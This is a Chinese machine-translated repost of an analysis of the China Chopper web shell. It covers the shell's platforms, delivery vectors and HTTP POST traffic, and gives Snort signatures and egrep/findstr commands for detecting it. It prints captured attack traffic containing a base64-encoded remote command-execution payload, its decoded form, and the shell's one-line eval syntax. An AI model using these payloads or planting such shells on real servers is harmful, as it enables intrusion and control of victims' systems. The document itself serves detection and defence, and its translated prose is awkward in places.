剖析中国菜刀第二部分

2014-12-20 / 0 评论 神器荟萃 / Mrxn

本文共计 5893 字,感谢您的耐心浏览与评论.


介绍

在本系列的第一部分,我描述了中国砍刀的易于使用的界面和先进的功能 - 更卓越的综合考虑网络shell的微小尺寸:73字节的ASPX版本,4千字节的磁盘。在这篇文章中,我将解释中国砍刀平台的通用性,交付机制,流量模式和检测。我的希望是,有了这些信息,你可以消灭这种害虫从您的环境。

平台

那么,什么平台上可以运行中国菜刀?任何Web服务器能够运行JSP,ASP,ASPX,PHP或CFM的。这是大多数Web应用程序语言在那里。什么操作系统?中国斩波器具有足够的灵活性,以在Windows和Linux的透明运行。这个操作系统和应用程序的灵活性,使他们成为更危险的Web外壳。

在本系列的第一部分,我们发现中国砍刀执行使用ASPX在Windows 2003的IIS服务器上。现在,我们将显示它与PHP运行在Linux上。如图1的PHP版本的内容是一样的简约:


图1:此命令是所有它需要在Linux上使用PHP来运行。

 

虽然可用选项因什么平台中国砍刀上运行,Linux中的文件管理功能(见图2),类似于那些在Windows中。


image002

图2:文件浏览功能在目标系统上运行Linux

 

在图3所示的数据库的客户端的例子是MySQL的,而不是MS-SQL中,但它提供了许多相同的功能。


image003

图3:从目标系统运行Linux的数据库管理

 

虚拟终端看起来熟悉(图4),但使用的Linux命令代替视窗,因为这些是由底层操作系统最终解释。


image004

图4:从目标系统运行的Linux虚拟终端

 

交付机制

中国斩波的递送机制可以非常灵活,由于恶意软件的有效载荷的大小,格式,和简单。这个小的,基于文本的有效载荷可以通过以下任一机制来递送:

    WebDAV的文件上传
    JBoss的JMX控制台或Apache Tomcat的管理页面(有关此攻击媒介的详细信息,请阅读FireEye顾问托尼·李的解释)
    与文件放置远程攻击
    从其他接入横向传播

 
流量分析

现在我们已经看到了服务器侧有效载荷和用于控制Web壳客户端。现在,让我们来看看中国砍刀的流量。幸运的是,我们在服务器和客户端组件,所以我们可以开始一个数据包捕获,查看典型流量的内容。如图5所示,客户端启动使用HTTP POST方法通过TCP端口80的连接。

image007

图5:数据包捕获显示,网络流量的外壳是通过TCP 80端口的HTTP POST交通

 

因为这是TCP流量,我们可以在“遵循TCP”,在Wireshark的流(一种流行的开源网络协议分析仪,在Unix和Windows的作品)。在图6中,在顶部的红色交通从攻击(Web客户机)。在底部显示为蓝色交通从目标(网络外壳)的响应。

image008

图6:继TCP流之后,我们可以看到,大多数攻击者的流量是Base64编码。

 

如上述所强调的,多数攻击流量似乎Base64编码。这是没有问题的,但是,因为它可以很容易地解码。我们使用免费的提琴手网页调试器的“TextWizard”功能来发现攻击者发送。 (注:%3D是等号的URL编码表示(“=”)提琴手需要这种转换为等号正确解码。)

原料攻击流量:

Password=Response.Write("->|");

var err:Exception;try{eval(System.Text.Encoding.GetEncoding(65001).

GetString(System. Convert.FromBase64String

("dmFyIGM9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzU3RhcnRJbmZvKFN5c3RlbS5UZXh0LkVuY29kaW5n

LkdldEVuY29kaW5nKDY1MDAxKS5HZXRTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZX

N0Lkl0ZW1bInoxIl0pKSk7dmFyIGU9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzKCk7dmFyIG91dDpTeXN0

ZW0uSU8uU3RyZWFtUmVhZGVyLEVJOlN5c3RlbS5JTy5TdHJlYW1SZWFkZXI7Yy5Vc2VTaGVsbEV4ZWN1dGU9ZmFsc2

U7Yy5SZWRpcmVjdFN0YW5kYXJkT3V0cHV0PXRydWU7Yy5SZWRpcmVjdFN0YW5kYXJkRXJyb3I9dHJ1ZTtlLlN0YXJ0

SW5mbz1jO2MuQXJndW1lbnRzPSIvYyAiK1N5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKDY1MDAxKS5HZX

RTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZXN0Lkl0ZW1bInoyIl0pKTtlLlN0YXJ0

KCk7b3V0PWUuU3RhbmRhcmRPdXRwdXQ7RUk9ZS5TdGFuZGFyZEVycm9yO2UuQ2xvc2UoKTtSZXNwb25zZS5Xcml0ZS

hvdXQuUmVhZFRvRW5kKCkrRUkuUmVhZFRvRW5kKCkpOw%3D%3D")),"unsafe");}catch(err){Response.Write

("ERROR:// "%2Berr.message);}Response.Write("|<-");Response.End();&z1=Y21k&z2=Y2QgL2QgImM6

XGluZXRwdWJcd3d3cm9vdFwiJndob2FtaSZlY2hvIFtTXSZjZCZlY2hvIFtFXQ%3D%3D

 

如图9中,提琴手网页调试文本向导轻松地转换成原始流量的Base64为纯文本。

image009

图9:网页调试器解码的Base64交通

 

Decoded traffic:

varc=newSystem.Diagnostics.ProcessStartInfo(System.Text.Encoding.GetEncoding(65001).

GetString(System.Convert.FromBase64String(Request.Item["z1"])));

vare=newSystem.Diagnostics.Process();

varout:System.IO.StreamReader,EI:System.IO.StreamReader;

c.UseShellExecute=false;

c.RedirectStandardOutput=true;c.RedirectStandardError=true;

e.StartInfo=c;c.Arguments="/c"+System.Text.Encoding.GetEncoding(65001).

GetString(System.Convert.FromBase64String(Request.Item["z2"]));

e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close();

Response.Write(out.ReadToEnd()+EI.ReadToEnd());

 

最后,我们有更多的东西可读。然而,我们的Base64解码交通正试图解码正被存储为Z1和Z2更Base64的流量。回到我们的攻击流量,“密码”参数结束之后,我们看到了Z1和Z2参数。

我突出Base64编码参数Z1和Z2以下的输出:


&z1=Y21k&z2=Y2QgL2QgImM6XGluZXRwdWJcd3d3cm9vdFwiJndob2FtaSZlY2hvIFtTXSZjZCZlY2hvIFtFXQ%3D%3D

 

Base64解码参数的Z1和Z2:

z1=cmdz2=cd /d "c:\inetpub\wwwroot\"&whoami&echo [S]&cd&echo [E]

 

这也解释了客户如何与外壳进行通信。 “密码”的参数传递给被执行的代码的有效载荷。该Z1是cmd,然后Z2包含的参数通过CMD / C发送的命令提示符。所有输出发送到标准输出(stdout)回攻击者,从而创建以下响应whoami命令和当前的工作目录:

->|nt authority\network service[S]C:\Inetpub\wwwroot[E]|<-

 

发现

现在,我们了解中国砍刀的内容以及它的交通是什么样子,我们可以集中精力的方法来检测这种害虫无论是在网络和主机级别。
网络

与标准的Snort IDS到位,这些流量可以被捕获相对容易。基思·泰勒给出了一个基本的IDS特征在他早期的中国砍刀博客文章的工作:

 

alert tcp any any -> any 80 ( sid:900001; content:"base64_decode";

http_client_body;flow:to_server,established; content:"POST"; nocase;

http_method; ;msg:"Webshell Detected Apache";)

 

为了减少误报,我们已经收紧的Snort IDS签名专注于中国斩波通过寻找“FromBase64String”和“Z1”如下内容:

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS

(msg: "China Chopper with first Command Detected";

flow:to_server,established; content: "FromBase64String";

content: "z1"; content:"POST"; nocase;http_method;

reference:url,http://www.fireeye.com/blog/technical/botnet-activities-research/2013/08/

breaking-down-the-china-chopper-web-shell-part-i.html;

classtype:web-application-attack; sid: 900000101;)

 

下面IDS特征查找“FromBase64String”和“Z”的任何组合,随后被一至三个数字的内容 - 这将找到“Z1”,“Z10”,或“Z100”为例的想法:如果第一命令(Z1)被错过了,你还是赶上随后的命令。

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS

(msg: "China Chopper with all Commands Detected"; flow:to_server,established;

content: "FromBase64String"; content: "z"; pcre: "/Z\d{1,3}/i"; content:"POST"; nocase;http_method;

reference:url,http://www.fireeye.com/blog/technical/botnet-activities-research/2013/08/

breaking-down-the-china-chopper-web-shell-part-i.html;

classtype:web-application-attack; sid: 900000102;)

 

这两种IDS特征可以被修改为进一步优化时,深度和偏移考虑。一定要放一个有效的SID在实施前和测试签名的性能。

现在,我们已经讨论过检测在网络层面上,我们将看到检测在主机级别也是可以的。由于炮弹必须包含一个可预见的语法,我们可以迅速试图寻找那些在游戏的代码文件。
主持人

许多方法可用于查找包含中国斩波文件。最快和最简单的方法,尤其是在Linux机器,很可能是使用正则表达式。如图10,在你的web目录快速的egrep可以帮助识别受感染的文件。

egrep -re ' [<][?]php\s\@eval[(]\$_POST\[.+\][)];[?][>]' *.php

image010

图10:使用egrep的发现这个网站的shell

 

正如你在图10中看到,egrep的正则表达式和命令是一个强大的组合。而正则表达式可能看起来像废话,它确实是并不像它看起来那样糟糕。伊恩·阿尔创造了一些正则表达式的教程,可以帮助提高你的正则表达式的技能。这里有两个让你开始:

    正则表达式基础知识
    使用正则表达式用记事本

Windows还提供了一种通过使用本地FINDSTR命令搜索使用正则表达式的文件。

image011

图11:使用FINDSTR找到中国砍刀

 

您可能已经注意到,我们不得不改变了正则表达式一点。这是必要的,以避开一些FINDSTR解释正则表达式的方式。您将运行命令如下:

findstr /R "[<][?]php.\@eval[(]\$_POST.*[)];[?][>]" *.php

 

这些例子表明检测的PHP外壳。为了找到ASPX外壳,只需修改正则表达式来适应ASPX壳的语法如下所示:

egrep -re '[<]\%\@\sPage\sLanguage=.Jscript.\%[>][<]\%eval.Request\.Item.+unsafe' *.aspx
findstr /R "[<]\%\@.Page.Language=.Jscript.\%[>][<]\%eval.Request\.Item.*unsafe" *.aspx

 

如果你不知道,所有的PHP或ASPX文件是在Windows主机上,可以使用dir命令的一些扩展选项,以帮助您确定您可能要运行我们的正则表达式对(见图12)Web文件。

dir /S /A /B *.php

 

image012

图12:通过Windows使用dir命令递归搜索

 

FINDSTR还必须搜索所有的子目录(参见图13)的选项。

findstr /R /S "[<][?]php.\@eval[(]\$_POST.*[)];[?][>]" *.php

 

image013

图13:使用FINDSTR递归找到Web壳的多个实例

 

结论:

我希望中国斩波器的功能,平台的通用性,交付机制,流量分析和检测这个解释给你的知识和工具,你需要消除这种优雅的设计,但危险的威胁。



标签: shell 黑客工具 web安全 扫描

转载:转载请注明原文链接 - 剖析中国菜刀第二部分


0条回应:“剖析中国菜刀第二部分”